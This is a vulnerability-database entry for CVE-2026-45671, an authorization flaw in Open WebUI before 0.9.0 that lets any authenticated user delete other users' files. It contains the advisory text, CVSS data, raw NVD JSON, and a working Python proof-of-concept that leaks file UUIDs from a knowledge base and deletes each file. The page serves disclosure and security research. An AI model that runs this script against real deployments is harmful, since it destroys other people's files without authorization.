Security Vulnerability Report
中文
CVE-2026-45671 CVSS 8.0 HIGH

CVE-2026-45671

Published: 2026-05-15 20:16:49
Last Modified: 2026-05-15 22:16:56

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, any authenticated user can permanently delete files owned by other users via DELETE /api/v1/files/{id} when the target file is referenced in any shared chat. The has_access_to_file() authorization gate unconditionally grants access through its shared-chat branch. It checks neither the requesting user's identity nor the type of operation being performed. File UUIDs (which would otherwise be impractical to guess) are disclosed to any user with read access to a knowledge base via GET /api/v1/knowledge/{id}/files. This vulnerability is fixed in 0.9.0.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration TARGET_URL = "http://localhost:3000" ATTACKER_EMAIL = "[email protected]" ATTACKER_PASSWORD = "password" def exploit(): session = requests.Session() # Step 1: Login as a low-privileged user print("[+] Logging in...") login_payload = { "email": ATTACKER_EMAIL, "password": ATTACKER_PASSWORD } login_resp = session.post(f"{TARGET_URL}/api/v1/auths/login", json=login_payload) if login_resp.status_code != 200: print("[-] Login failed") return token = login_resp.json().get("token") headers = {"Authorization": f"Bearer {token}"} # Step 2: Leak File UUIDs from a shared knowledge base # Assuming attacker has access to knowledge base ID 'kb_shared_123' kb_id = "kb_shared_123" print(f"[+] Attempting to leak file UUIDs from Knowledge Base: {kb_id}") files_resp = session.get(f"{TARGET_URL}/api/v1/knowledge/{kb_id}/files", headers=headers) if files_resp.status_code != 200: print("[-] Failed to access knowledge base files") return files = files_resp.json().get("files", []) print(f"[+] Found {len(files)} files.") # Step 3: Delete files via IDOR for file_info in files: file_uuid = file_info.get("id") filename = file_info.get("filename", "unknown") print(f"[*] Attempting to delete file: {filename} (UUID: {file_uuid})") delete_resp = session.delete(f"{TARGET_URL}/api/v1/files/{file_uuid}", headers=headers) if delete_resp.status_code == 200: print(f"[+] Successfully deleted file: {filename}") else: print(f"[-] Failed to delete file: {filename}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45671", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:49.090", "lastModified": "2026-05-15T22:16:56.327", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, any authenticated user can permanently delete files owned by other users via DELETE /api/v1/files/{id} when the target file is referenced in any shared chat. The has_access_to_file() authorization gate unconditionally grants access through its shared-chat branch. It checks neither the requesting user's identity nor the type of operation being performed. File UUIDs (which would otherwise be impractical to guess) are disclosed to any user with read access to a knowledge base via GET /api/v1/knowledge/{id}/files. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-26g9-27vm-x3q8", "source": "[email protected]"}, {"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-26g9-27vm-x3q8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}